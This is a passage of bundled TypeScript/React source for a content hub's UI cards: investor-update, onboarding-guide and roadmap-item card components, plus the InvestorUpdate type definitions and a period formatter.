gap-2`}>\n            <span className={`${COMPACT_CARD_TITLE} min-w-0`}>\n              {update.title || `Update #${update.update_number ?? '?'}`}\n            </span>\n            {update.update_number ? (\n              <span className=\"shrink-0 rounded bg-ods-accent/10 px-1.5 py-0.5 text-h6 text-ods-accent\">\n                #{update.update_number}\n              </span>\n            ) : null}\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUBTITLE}>\n              {periodText || 'Investor update'}\n            </span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUMMARY}>\n              {(update.strategic_update || update.content || '').slice(0, 120) || COMPACT_CARD_ROW_FILLER}\n            </span>\n          </span>\n        </span>\n      </a>\n    )\n  }\n\n  if (size === 'portrait') {\n    // Rail/strip density — shared <EntityPortraitCard> shell. The reporting\n    // period is the meaningful footer line (no fabricated author — no avatar\n    // renders an initial circle).\n    const periodText = formatInvestorUpdatePeriod(update.period_start, update.period_end)\n    return (\n      <EntityPortraitCard\n        href={href}\n        target={target}\n        rel={rel}\n        typeLabel={showTypeBadge ? 'Investor Update' : undefined}\n        imageUrl={update.featured_image}\n        placeholderUrl={placeholderUrl}\n        imageAlt={update.title ?? 'Investor update'}\n        title={update.title || `Update #${update.update_number ?? '?'}`}\n        person={periodText ? { name: periodText } : null}\n        className={className}\n      />\n    )\n  }\n\n  return (\n    <a href={href} target={target} rel={rel} className={`block h-full ${className ?? ''}`}>\n      <AdminContentCard\n        imageUrl={update.featured_image}\n        placeholderUrl={placeholderUrl}\n        title={update.title || `Update #${update.update_number || '?'}`}\n        summary={update.strategic_update?.slice(0, 120) || update.content?.slice(0, 120) || 'No description'}\n        badges={\n          update.update_number ? (\n            <span className=\"px-2 py-0.5 rounded text-xs font-medium bg-ods-accent/10 text-ods-accent\">\n              #{update.update_number}\n            </span>\n          ) : undefined\n        }\n        meta={\n          (update.period_start || update.period_end) ? (\n            <div className=\"flex items-center gap-1\">\n              <Calendar className=\"h-3 w-3\" />\n              <span>{formatInvestorUpdatePeriod(update.period_start, update.period_end)}</span>\n            </div>\n          ) : undefined\n        }\n      />\n    </a>\n  )\n}\n","/**\n * Investor Update entity — wire shape for the chat investor-update card\n * + the `/api/investor-updates` reads.\n *\n * Lifted from `lib/data/investor-update-utils-shared.ts` in the hub.\n * The server-side data utils + visibility filters in that file stay\n * hub-side; only the TYPES + the pure `formatInvestorUpdatePeriod`\n * formatter move here.\n */\n\nimport type { ContentRef } from './content-ref';\n\nexport interface MetricEntry {\n  current: number;\n  previous?: number;\n  change_pct?: number;\n  visibility: 'public' | 'internal';\n}\n\nexport interface HighlightEntry {\n  title: string;\n  description?: string;\n  visibility: 'public' | 'internal';\n}\n\nexport interface InvestorUpdateHighlights {\n  key_highlights?: HighlightEntry[];\n  product_milestones?: HighlightEntry[];\n  community_updates?: HighlightEntry[];\n  upcoming_priorities?: HighlightEntry[];\n  financial_notes?: HighlightEntry[];\n}\n\nexport interface InvestorUpdate {\n  id: string;\n  title: string;\n  slug: string;\n  update_number: number | null;\n  period_start: string | null;\n  period_end: string | null;\n  platform_id: string | null;\n  content: string | null;\n  video_summary: string | null;\n  transcript: string | null;\n  srt_content?: string | null;\n  main_video_url: string | null;\n  highlight_video_url: string | null;\n  highlight_video_thumbnail: string | null;\n  main_video_thumbnail: string | null;\n  video_bites: unknown[];\n  featured_image: string | null;\n  strategic_update: string | null;\n  financials: Record<string, MetricEntry>;\n  metrics_snapshot: Record<string, MetricEntry>;\n  content_refs: ContentRef[];\n  highlights: InvestorUpdateHighlights | null;\n  section_visibility: Record<string, 'public' | 'internal'>;\n  status: string;\n  published_at: string | null;\n  author_id: string | null;\n  author?: {\n    id: string;\n    full_name: string;\n    avatar_url: string | null;\n    job_title: string | null;\n    email?: string | null;\n  };\n  seo_title: string | null;\n  seo_description: string | null;\n  seo_keywords: string | null;\n  og_image_url: string | null;\n  hubspot_email_id: string | null;\n  hubspot_email_url?: string | null;\n  custom_instructions: string | null;\n  created_at: string;\n  updated_at: string;\n  created_by: string | null;\n  updated_by: string | null;\n}\n\n/**\n * Format an investor-update period as `Mar 2025 - May 2025` (or `?` for\n * a missing endpoint). Pure formatter — no DB / state access, so it\n * moves to lib alongside the types.\n */\nexport function formatInvestorUpdatePeriod(\n  start: string | null,\n  end: string | null,\n  options?: { monthFormat?: 'short' | 'long' },\n): string {\n  if (!start && !end) return '';\n  const fmt = (d: string) =>\n    new Date(d).toLocaleDateString('en-US', {\n      month: options?.monthFormat || 'short',\n      year: 'numeric',\n      // Pin to UTC so SSR (Vercel = UTC) and the client agree (React #418).\n      timeZone: 'UTC',\n    });\n  const s = start ? fmt(start) : '?';\n  const e = end ? fmt(end) : '?';\n  return `${s} - ${e}`;\n}\n","'use client'\n\n/**\n * OnboardingGuideCard (pure presentation + runtime-derived link attrs).\n *\n * Three variants:\n *   - `catalog`: rich detail card (hero + author grid) for the public catalog\n *     page.\n *   - `default`: horizontal step-numbered card for \"More in {section}\" rail.\n *   - `sm`: compact horizontal card for chat-inline rendering.\n *\n * Link semantics: the card derives `target`/`rel` from `ChatRuntime.navigation\n * .decideNewTab` (hub-wired via `HubRuntimeProvider`) and the placeholder\n * image from the runtime's base API URL (`endpoints.ogPlaceholderUrl`, via\n * `useEntityCardPlaceholder`). Explicit `target` / `rel` / `placeholderUrl`\n * props always WIN — chat dispatch and tests can pre-resolve. No runtime\n * mounted → same-tab + same-origin relative placeholder.\n */\n\nimport React from 'react'\nimport Image from '../../../embed-shims/next-image'\nimport Link from '../../../embed-shims/next-link'\nimport { Clock, ExternalLink, GraduationCap, Play } from 'lucide-react'\nimport { cn } from '../../../utils/cn'\nimport { BlogImagePlaceholder } from './blog-image-placeholder'\nimport { EntityAuthorCard } from './entity-author-card'\nimport { EntityPortraitCard } from './entity-portrait-card'\nimport { formatDurationMMSS } from '../../../utils/format'\nimport type { OnboardingGuide } from '../types/entities/onboarding-guide'\nimport { useEntityCardLink } from './use-entity-card-link'\nimport { useEntityCardPlaceholder } from './use-entity-card-placeholder'\nimport {\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE_ROW,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_ROW_FILLER,\n} from '../utils/compact-card-classes'\n\nexport interface OnboardingGuideCardProps {\n  guide: OnboardingGuide\n  /** Detail URL resolved by the caller. */\n  href: string\n  /** When `_blank`, opens in a new tab. Set by chat dispatch via\n   *  `computeIsNewTab`. Defaults to same-tab. */\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  targetPlatform?: string | null\n  /** OG placeholder URL used by the catalog + sm variants when no cover. */\n  placeholderUrl?: string | null\n  size?: 'catalog' | 'default' | 'sm' | 'portrait'\n  /** Portrait density: render the content-type chip. Mixed rails only; single-type rails pass false. Default true. */\n  showTypeBadge?: boolean\n| 'default' | 'sm' | 'portrait'\n  className?: string\n}\n\n/** Markdown source → clean one-line preview prose. The guide cards preview\n *  `video_summary || content`, and `content` is raw markdown — without this,\n *  the clamped summary shows literal `**bold**` / `## heading` noise. */\nfunction stripMarkdownPreview(text: string): string {\n  return text\n    .replace(/```[\\s\\S]*?```/g, ' ')\n    .replace(/^#{1,6}\\s+/gm, '')\n    .replace(/!?\\[([^\\]]*)\\]\\([^)]*\\)/g, '$1')\n    .replace(/[*_~`>]/g, '')\n    .replace(/^\\s*[-+]\\s+/gm, '')\n    .replace(/-{3,}/g, ' ')\n    .replace(/\\s+/g, ' ')\n    .trim()\n    // Hard cap — line-clamp is the visual truncation, but a CSS-order\n    // conflict (display utilities vs -webkit-box) once silently killed it\n    // and dumped whole guides into the card. Never ship more than ~2 lines\n    // of source text regardless of CSS.\n    .replace(/^([\\s\\S]{240})[\\s\\S]+$/, '$1…')\n}\n\nconst HORIZONTAL_SIZE_TOKENS = {\n  default: {\n    padding: 'p-4',\n    step: 'w-8 h-8 text-h6',\n    title: 'text-h5',\n    summaryClamp: 'line-clamp-2',\n  },\n} as const\n\nexport function OnboardingGuideCardSkeleton({ size = 'default' }: { size?: 'catalog' | 'default' | 'sm' }) {\n  if (size === 'catalog') {\n    return (\n      <div className=\"bg-ods-card border border-ods-border rounded-lg overflow-hidden flex flex-col p-6 gap-4 animate-pulse\">\n        <div className=\"flex flex-col md:flex-row gap-4 md:gap-6\">\n          <div className=\"w-full md:w-[256px] aspect-[1200/630] bg-ods-border rounded-lg flex-shrink-0\" />\n          <div className=\"flex-1 min-w-0 flex flex-col\">\n            <div className=\"min-h-[60px] md:min-h-[72px] flex flex-col gap-1.5 justify-start mb-3\">\n              <div className=\"h-[25px] md:h-[30px] w-3/4 bg-ods-border rounded\" />\n              <div className=\"h-[25px] md:h-[30px] w-1/2 bg-ods-border rounded\" />\n            </div>\n            <div className=\"min-h-[46px] md:min-h-[52px] flex flex-col gap-2 justify-start\">\n              <div className=\"h-3 w-full bg-ods-border/70 rounded\" />\n              <div className=\"h-3 w-5/6 bg-ods-border/70 rounded\" />\n            </div>\n          </div>\n        </div>\n        <div className=\"grid grid-cols-1 md:grid-cols-3 border border-ods-border rounded-md overflow-hidden w-full\">\n          {[0, 1].map((i) => (\n            <div\n              key={`cell-${i}`}\n              className=\"bg-ods-card p-4 flex flex-col gap-3 border-b md:border-b-0 md:border-r border-ods-border\"\n            >\n              <div className=\"flex flex-col gap-2\">\n                <div className=\"h-6 w-32 bg-ods-bg rounded\" />\n                <div className=\"h-3 w-20 bg-ods-bg/60 rounded\" />\n              </div>\n            </div>\n          ))}\n          <div className=\"bg-ods-card p-4 flex items-center gap-3\">\n            <div className=\"h-10 w-10 rounded-full bg-ods-bg shrink-0\" />\n            <div className=\"flex flex-col gap-2 flex-1 min-w-0\">\n              <div className=\"h-4 w-3/4 bg-ods-bg rounded\" />\n              <div className=\"h-3 w-1/2 bg-ods-bg/60 rounded\" />\n            </div>\n          </div>\n        </div>\n      </div>\n    )\n  }\n  if (size === 'sm') {\n    return (\n      <span className={COMPACT_CARD_SKELETON_OUTER}>\n        <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={COMPACT_CARD_TITLE_ROW}>\n            <span className=\"h-3.5 w-3/5 rounded bg-ods-bg\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-2/5 rounded bg-ods-bg/70\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-11/12 rounded bg-ods-bg/40\" />\n          </span>\n        </span>\n        <span className=\"flex shrink-0 items-center self-start h-5\">\n          <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n        </span>\n      </span>\n    )\n  }\n  const t = HORIZONTAL_SIZE_TOKENS.default\n  return (\n    <span\n      className={`flex items-start gap-3 rounded-md border border-ods-border bg-ods-card ${t.padding} animate-pulse`}\n    >\n      <span className={`shrink-0 inline-flex items-center justify-center rounded-full bg-ods-bg ${t.step}`} />\n      <span className=\"flex flex-col gap-2 flex-1 min-w-0\">\n        <span className=\"block h-4 w-2/3 rounded bg-ods-bg\" />\n        <span className=\"block h-3 w-1/3 rounded bg-ods-bg/70\" />\n        <span className=\"block h-3 w-full rounded bg-ods-bg/40\" />\n      </span>\n    </span>\n  )\n}\n\nexport function OnboardingGuideCard({\n  guide,\n  href,\n  target: targetProp,\n  rel: relProp,\n  targetPlatform,\n  placeholderUrl: placeholderUrlProp,\n  size = 'default',\n  showTypeBadge = true,\n  className,\n}: OnboardingGuideCardProps) {\n  const { target, rel } = useEntityCardLink({\n    href,\n    targetPlatform,\n    target: targetProp,\n    rel: relProp,\n  })\n  const placeholderUrl = useEntityCardPlaceholder({\n    title: guide.title,\n    placeholderUrl: placeholderUrlProp,\n    aspect: size === 'sm' ? 'square' : 'wide',\n  })\n\n  if (size === 'portrait') {\n    // Rail/strip density — shared <EntityPortraitCard> shell. Same cover\n    // chain as the catalog variant.\n    const coverImage =\n      guide.featured_image ||\n      guide.main_video_thumbnail ||\n      guide.og_image_url ||\n      null\n    return (\n      <EntityPortraitCard\n        href={href}\n        target={target}\n        rel={rel}\n        typeLabel={showTypeBadge ? 'Guide' : undefined}\n        imageUrl={coverImage}\n        placeholderUrl={placeholderUrl}\n        imageAlt={guide.title}\n        title={guide.title}\n        person={guide.section ? { name: guide.section } : null}\n        className={className}\n      />\n    )\n  }\n\n  if (size === 'catalog') {\n    const coverImage =\n      guide.featured_image ||\n      guide.main_video_thumbnail ||\n      guide.og_image_url ||\n      null\n    const hasVideoCover = !!(guide.main_video_thumbnail || guide.highlight_video_thumbnail)\n    const stepLabel =\n      typeof guide.step_order === 'number'\n        ? String(guide.step_order).padStart(2, '0')\n        : '—'\n    const durationLabel =\n      typeof guide.highlight_video_duration_ms === 'number' && guide.highlight_video_duration_ms > 0\n        ? formatDurationMMSS(Math.floor(guide.highlight_video_duration_ms / 1000))\n        : ''\n\n    return (\n      <Link\n        href={href}\n        target={target}\n        rel={rel}\n        prefetch={false}\n        className={cn(\n          'group block no-underline bg-ods-card',\n          'border border-ods-border rounded-lg overflow-hidden',\n          'transition-all duration-300 ease-out',\n          'transform hover:translate-y-[-2px]',\n          'hover:border-ods-accent hover:shadow-lg hover:shadow-ods-accent/[0.08]',\n          className,\n        )}\n        aria-label={`Open ${guide.title}`}\n      >\n        <div className=\"flex flex-col p-6 gap-4\">\n          <div className=\"flex flex-col md:flex-row gap-4 md:gap-6\">\n            <div className=\"w-full md:w-[256px] flex-shrink-0\">\n              <div className=\"relative rounded-lg overflow-hidden w-full aspect-[1200/630] bg-ods-bg\">\n                {coverImage ? (\n                  <Image\n                    src={coverImage}\n                    alt={guide.title}\n                    fill\n                    sizes=\"(max-width: 768px) 100vw, 256px\"\n                    className=\"object-cover\"\n                    unoptimized\n                  />\n                ) : (\n                  <BlogImagePlaceholder\n                    title={guide.title}\n                    imageUrl={placeholderUrl ?? null}\n                    className=\"absolute inset-0\"\n                  />\n                )}\n                {hasVideoCover && coverImage && (\n                  <span className=\"absolute inset-0 flex items-center justify-center bg-black/30\">\n                    <Play className=\"w-10 h-10 text-ods-text-on-dark\" fill=\"white\" />\n                  </span>\n                )}\n                {durationLabel && (\n                  <span className=\"absolute bottom-2 right-2 inline-flex items-center gap-1 px-2 py-1 rounded bg-black/60 text-ods-text-on-dark text-code\">\n                    <Clock className=\"w-3 h-3\" />\n                    {durationLabel}\n                  </span>\n                )}\n              </div>\n            </div>\n\n            <div className=\"flex-1 min-w-0 flex flex-col\">\n              <div className=\"min-h-[60px] md:min-h-[72px] flex items-start mb-3\">\n                <h3 className=\"text-h2 text-ods-text-primary line-clamp-2\">\n                  {guide.title}\n                </h3>\n              </div>\n              <div className=\"min-h-[46px] md:min-h-[52px]\">\n                <p className=\"text-h6 text-ods-text-secondary line-clamp-2\">\n                  {stripMarkdownPreview(guide.video_summary || guide.content || '')}\n                </p>\n              </div>\n            </div>\n          </div>\n\n          <EntityAuthorCard\n            author={guide.author}\n            publishedAt={guide.published_at}\n            renderEmptyAuthor\n            extraCells={[\n              {\n                value: `${guide.section} · Step ${stepLabel}`,\n                label: 'Section',\n                uppercase: false,\n              },\n            ]}\n          />\n        </div>\n      </Link>\n    )\n  }\n\n  if (size === 'sm') {\n    const coverImage = guide.featured_image || guide.main_video_thumbnail || guide.og_image_url || null\n    const compactCover = coverImage || placeholderUrl || null\n    const hasVideoCover = !guide.featured_image && !!guide.main_video_thumbnail\n    const summary = stripMarkdownPreview(guide.video_summary || guide.content || '')\n    const author = guide.author?.full_name?.trim() || ''\n    const subtitleParts = [\n      `Step ${guide.step_order}`,\n      guide.section,\n      author,\n    ].filter((s): s is string => typeof s === 'string' && s.length > 0)\n    return (\n      <Link href={href} target={target} rel={rel} prefetch={false} className={cn(COMPACT_CARD_OUTER, className)}>\n        <span className={COMPACT_CARD_IMAGE_SLOT}>\n          {compactCover ? (\n            <Image\n              src={compactCover}\n              alt={guide.title}\n              fill\n              sizes=\"56px\"\n              className=\"object-contain\"\n              unoptimized\n            />\n          ) : (\n            <span className=\"flex h-full w-full items-center justify-center text-ods-accent\">\n              <GraduationCap className=\"w-4 h-4\" />\n            </span>\n          )}\n          {hasVideoCover && compactCover && (\n            <span className=\"absolute inset-0 flex items-center justify-center bg-black/30\">\n              <Play className=\"h-4 w-4 text-ods-text-on-dark\" fill=\"white\" />\n            </span>\n          )}\n        </span>\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={COMPACT_CARD_TITLE_ROW}>\n            <span className={cn(COMPACT_CARD_TITLE, 'font-heading')}>\n              {guide.title}\n            </span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"truncate text-h6 text-ods-accent\">\n              {subtitleParts.join(' · ')}\n            </span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUMMARY}>\n              {summary || COMPACT_CARD_ROW_FILLER}\n            </span>\n          </span>\n        </span>\n        <span className=\"flex shrink-0 items-center self-start h-5 text-ods-text-secondary\">\n          <ExternalLink className=\"w-3.5 h-3.5\" />\n        </span>\n      </Link>\n    )\n  }\n\n  // size === 'default' — horizontal step-numbered card for related-rail.\n  const t = HORIZONTAL_SIZE_TOKENS.default\n  const summary = stripMarkdownPreview(guide.video_summary || guide.content || '')\n\n  return (\n    <Link\n      href={href}\n      target={target}\n      rel={rel}\n      prefetch={false}\n      className={cn(\n        `flex items-start gap-3 rounded-md border border-ods-border bg-ods-card hover:border-ods-accent transition-colors ${t.padding}`,\n        className,\n      )}\n    >\n      <span\n        className={`shrink-0 inline-flex items-center justify-center rounded-full bg-ods-accent/10 text-ods-accent font-semibold ${t.step}`}\n        aria-hidden=\"true\"\n      >\n        {guide.step_order}\n      </span>\n      <span className=\"flex flex-col gap-0.5 flex-1 min-w-0\">\n        <span className={`block ${t.title} text-ods-text-primary truncate`}>{guide.title}</span>\n        <span className=\"inline-flex items-center gap-1 text-h6 text-ods-text-secondary\">\n          <GraduationCap className=\"h-3 w-3 shrink-0\" />\n          <span className=\"truncate\">{guide.section}</span>\n        </span>\n        {summary && (\n          <span className={`text-h6 text-ods-text-secondary ${t.summaryClamp}`}>\n            {summary}\n          </span>\n        )}\n      </span>\n    </Link>\n  )\n}\n","'use client'\n\n/**\n * RoadmapCard (pure presentation). Two densities — `default` (rich\n * /roadmap page card with vote buttons + figma/screenshots controls)\n * and `sm` (compact horizontal for chat-inline).\n *\n * The card writes NO click logic — the parent wraps with its own\n * anchor for the compact branch and supplies vote handlers for the\n * default branch.\n */\n\nimport React, { useState } from 'react'\nimport Image from '../../../embed-shims/next-image'\nimport { ThumbsUp, ThumbsDown } from 'lucide-react'\nimport { RoadmapVoteButton } from './roadmap-vote-button'\nimport { AvatarStack, type AvatarStackPerson } from '../../ui/avatar-stack'\nimport { FigmaIcon } from '../../icons/figma-icon'\nimport { ImageIcon } from '../../icons/image-icon'\nimport { Button } from '../../ui/button/button'\nimport { StatusBadge, generationTierFromLabel } from '../../ui/status-badge'\nimport { ImageGalleryModal } from '../../ui/image-gallery-modal'\nimport { getProxiedImageUrl } from '../../../utils/image-proxy'\nimport {\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n  safeHref,\n} from '../utils/compact-card-classes'\nimport { getStatusColorScheme } from '../utils/agent-status-message'\nimport { getTaskTypeLabel } from '../utils/clickup-task-type-utils'\nimport { TaskTypeIcon } from './task-type-icon'\nimport type { RoadmapItem } from '../types/entities/roadmap-item'\n\ntype CardSize = 'default' | 'sm'\nexport type VoteType = 'up' | 'down' | null\n\nexport function RoadmapCardSkeleton({ size = 'default' }: { size?: CardSize }) {\n  if (size === 'sm') {\n    return (\n      <span className={COMPACT_CARD_SKELETON_OUTER}>\n        <span className=\"block h-12 w-12 aspect-square shrink-0 self-start rounded-md bg-ods-bg border border-ods-border p-1.5\" />\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={`${COMPACT_CARD_TITLE_ROW} flex-nowrap gap-2`}>\n            <span className=\"h-3.5 w-1/2 rounded bg-ods-bg\" />\n            <span className=\"h-4 w-12 rounded bg-ods-bg/70 shrink-0\" />\n          </span>\n          <span className={`${COMPACT_CARD_META_ROW_BOX} flex-nowrap gap-2`}>\n            <span className=\"h-3 w-2/5 rounded bg-ods-bg/60 flex-1\" />\n            <span className=\"h-3 w-10 rounded bg-ods-bg/40 shrink-0\" />\n            {/* assignee-stack placeholder — mirrors the xs AvatarStack\n                slot so row width doesn't shift when assignees load */}\n            <span className=\"h-6 w-14 rounded-full bg-ods-bg/40 shrink-0\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-5/6 rounded bg-ods-bg/40\" />\n          </span>\n        </span>\n      </span>\n    )\n  }\n  return (\n    <div className=\"bg-ods-card border border-ods-border rounded-[6px] p-[24px] flex flex-col gap-4 h-full animate-pulse\">\n      <div className=\"flex gap-4 items-center\">\n        <div className=\"w-16 h-16 rounded-lg bg-ods-bg flex-shrink-0\" />\n        <div className=\"flex-1 space-y-2\">\n          <div className=\"h-5 w-3/4 bg-ods-bg rounded\" />\n          <div className=\"h-3 w-1/2 bg-ods-bg/60 rounded\" />\n        </div>\n        <div className=\"h-6 w-16 bg-ods-bg rounded\" />\n      </div>\n      <div className=\"space-y-2\">\n        <div className=\"h-3 w-full bg-ods-bg/60 rounded\" />\n        <div className=\"h-3 w-5/6 bg-ods-bg/60 rounded\" />\n        <div className=\"h-3 w-4/5 bg-ods-bg/60 rounded\" />\n      </div>\n      <div className=\"flex-1\" />\n      <div className=\"flex items-center justify-between\">\n        <div className=\"h-12 w-32 bg-ods-bg rounded\" />\n        <div className=\"flex items-center gap-2\">\n          {/* assignee-stack placeholder — matches the xs AvatarStack in\n              the loaded card's action row */}\n          <div className=\"h-6 w-14 rounded-full bg-ods-bg/60\" />\n          <div className=\"h-8 w-20 bg-ods-bg rounded\" />\n        </div>\n      </div>\n    </div>\n  )\n}\n\nexport interface RoadmapCardProps {\n  item: RoadmapItem\n  /** Detail URL for the compact branch (`sm`). Used by the parent\n   *  wrapper to drive nav. Default-branch cards don't need href —\n   *  voting + screenshot UI is the entire action surface. */\n  href?: string\n  /** When `_blank`, opens in a new tab. Set by chat dispatch via\n   *  `computeIsNewTab`. Defaults to same-tab. */\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  targetPlatform?: string | null\n  /** Compact-branch variant — drives the icon-slot fallback rule. */\n  cardType?: 'roadmap_item' | 'delivery_item' | 'internal_task'\n  size?: CardSize\n  className?: string\n  /** DOM `id` applied to the card's outer element. `RoadmapGrid` sets\n   *  `roadmap-<external_id>` so chat-card deep-links\n   *  (`?search=<id>#roadmap-<id>`) have a target for `useScrollToHash`\n   *  to scroll to. `scroll-mt-24` on the outer element keeps the card\n   *  BELOW the sticky chrome. */\n  id?: string\n  // Default-branch vote controls (ignored in `sm`):\n  userVote?: VoteType | null\n  onVote?: (voteType: 'up' | 'down') => void\n  isVoting?: boolean\n}\n\n/** Wire assignees → AvatarStack people (name+avatar only on the wire). */\nfunction assigneePeople(\n  assignees: Array<{ id: number; name: string | null; avatarUrl: string | null }> | undefined,\n): AvatarStackPerson[] {\n  return (assignees ?? []).map((a) => ({\n    key: a.id,\n    name: a.name ?? 'Unknown',\n    avatarUrl: a.avatarUrl,\n  }))\n}\n\nexport function RoadmapCard({\n  item,\n  href,\n\n  target,\n\n  rel,\n  size = 'default',\n  cardType = 'roadmap_item',\n  className,\n  id,\n  userVote,\n  onVote,\n  isVoting = false,\n}: RoadmapCardProps) {\n  const [showScreenshots, setShowScreenshots] = useState(false)\n\n  const logoUrl = item.icon && item.icon.startsWith('http') ? item.icon : null\n  const iconSrc = logoUrl\n    ? getProxiedImageUrl(logoUrl, { directHttps: true }) || logoUrl\n    : null\n\n  if (size === 'sm') {\n    const compactHref = safeHref(href ?? null)\n    const hasVotes = (item.upvotes ?? 0) > 0 || (item.downvotes ?? 0) > 0\n    const hasFigma = !!item.figmaUrl\n    const hasScreenshots = (item.screenshots?.length ?? 0) > 0\n    const typeLabel = getTaskTypeLabel(item.customItemId)\n    const useTypeIcon = cardType === 'internal_task' || (!iconSrc && item.customItemId != null)\n    const body = (\n      <>\n        <span\n          className=\"flex h-12 w-12 aspect-square shrink-0 self-start items-center justify-center rounded-md overflow-hidden bg-ods-bg border border-ods-border p-1.5 text-ods-accent\"\n          title={typeLabel ?? undefined}\n        >\n          {useTypeIcon ? (\n            <TaskTypeIcon customItemId={item.customItemId} className=\"h-6 w-6\" />\n          ) : iconSrc ? (\n            <Image\n              src={iconSrc}\n              alt={`${item.title} logo`}\n              width={32}\n              height={32}\n              unoptimized\n              className=\"h-8 w-8 object-contain\"\n            />\n          ) : (\n            <span className=\"text-h6 uppercase text-ods-text-secondary\">\n              {item.title?.substring(0, 2) || '??'}\n            </span>\n          )}\n        </span>\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={`${COMPACT_CARD_TITLE_ROW} gap-2`}>\n            <span className={`${COMPACT_CARD_TITLE} min-w-0`}>{item.title}</span>\n            {item.status && item.status.trim().length > 0 ? (\n              <StatusBadge\n                text={item.status.toUpperCase()}\n                colorScheme={getStatusColorScheme(item.status)}\n                variant=\"button\"\n                singleLine\n                className=\"border border-ods-border shrink-0 max-w-[60%] truncate whitespace-nowrap\"\n              />\n            ) : null}\n          </span>\n          <span className={`${COMPACT_CARD_META_ROW_BOX} gap-2 text-ods-text-secondary`}>\n            <span className=\"truncate text-h6 min-w-0 flex-1\">\n              {(() => {\n                const parts = [\n                  item.quarter,\n                  item.targetVersion ? `${item.targetVersion} version` : null,\n                ].filter(Boolean)\n                if (parts.length > 0) return parts.join(' · ')\n                if (cardType === 'delivery_item') {\n                  return typeLabel ? `Delivery · ${typeLabel}` : 'Delivery'\n                }\n                if (cardType === 'internal_task') {\n                  return typeLabel ?? 'Internal task'\n                }\n                return 'Roadmap item'\n              })()}\n            </span>\n            {hasVotes ? (\n              <span className=\"hidden sm:flex items-center gap-2 shrink-0 text-h6 text-ods-text-secondary\">\n                <span className=\"flex items-center gap-0.5\">\n                  <ThumbsUp className=\"h-3 w-3\" />\n                  <span>{item.upvotes ?? 0}</span>\n                </span>\n                <span className=\"flex items-center gap-0.5\">\n                  <ThumbsDown className=\"h-3 w-3\" />\n                  <span>{item.downvotes ?? 0}</span>\n                </span>\n              </span>\n            ) : null}\n            {hasFigma ? (\n              <span className=\"hidden sm:flex shrink-0 items-center\" title=\"Has Figma prototype\">\n                <FigmaIcon className=\"h-3 w-3\" />\n              </span>\n            ) : null}\n            {hasScreenshots ? (\n              <span\n                className=\"hidden sm:flex shrink-0 items-center gap-0.5 text-h6\"\n                title={`${item.screenshots.length} screenshot${item.screenshots.length === 1 ? '' : 's'}`}\n              >\n                <ImageIcon className=\"h-3 w-3\" />\n                <span>{item.screenshots.length}</span>\n              </span>\n            ) : null}\n            {item.assignees && item.assignees.length > 0 ? (\n              <AvatarStack size=\"xs\" people={assigneePeople(item.assignees)} className=\"shrink-0\" />\n            ) : null}\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUMMARY}>\n              {item.description || COMPACT_CARD_ROW_FILLER}\n            </span>\n          </span>\n        </span>\n      </>\n    )\n    if (!compactHref) {\n      return <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">{body}</span>\n    }\n    return (\n      <a href={compactHref} target={target} rel={rel} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {body}\n      </a>\n    )\n  }\n\n  return (\n    <div id={id} className={`bg-ods-card border border-ods-border rounded-[6px] p-[24px] flex flex-col gap-[16px] hover:border-ods-accent transition-all h-full scroll-mt-24 ${className ?? ''}`}>\n      <div className=\"flex gap-[16px] items-center w-full\">\n        <div className=\"w-16 h-16 rounded-lg flex items-center justify-center flex-shrink-0 bg-ods-bg border border-ods-border\">\n          {iconSrc ? (\n            <Image\n              src={iconSrc}\n              alt={`${item.title} logo`}\n              width={40}\n              height={40}\n              unoptimized\n              className=\"object-contain p-1\"\n            />\n          ) : (\n            <span className=\"text-xs font-medium uppercase text-ods-text-secondary\">\n              {item.title?.substring(0, 2) || '??'}\n            </span>\n          )}\n        </div>\n\n        <div className=\"flex-1 min-w-0 flex flex-col\">\n          <div className=\"min-h-[48px] flex items-center\">\n            <h3 className=\"text-h3 text-ods-text-primary flex-1 line-clamp-2\">\n              {item.title}\n            </h3>\n          </div>\n          <div className=\"min-h-[20px] flex items-center\">\n            <p className=\"text-h5 text-ods-text-secondary truncate\">\n              {item.quarter}, {item.id}\n            </p>\n          </div>\n        </div>\n\n        <div className=\"hidden md:block\">\n          <StatusBadge\n            text={item.status.toUpperCase()}\n            colorScheme={getStatusColorScheme(item.status)}\n            className=\"border border-ods-border\"\n          />\n        </div>\n      </div>\n\n      <div className=\"md:hidden\">\n        <StatusBadge\n          text={item.status.toUpperCase()}\n          colorScheme={getStatusColorScheme(item.status)}\n          className=\"border border-ods-border\"\n        />\n      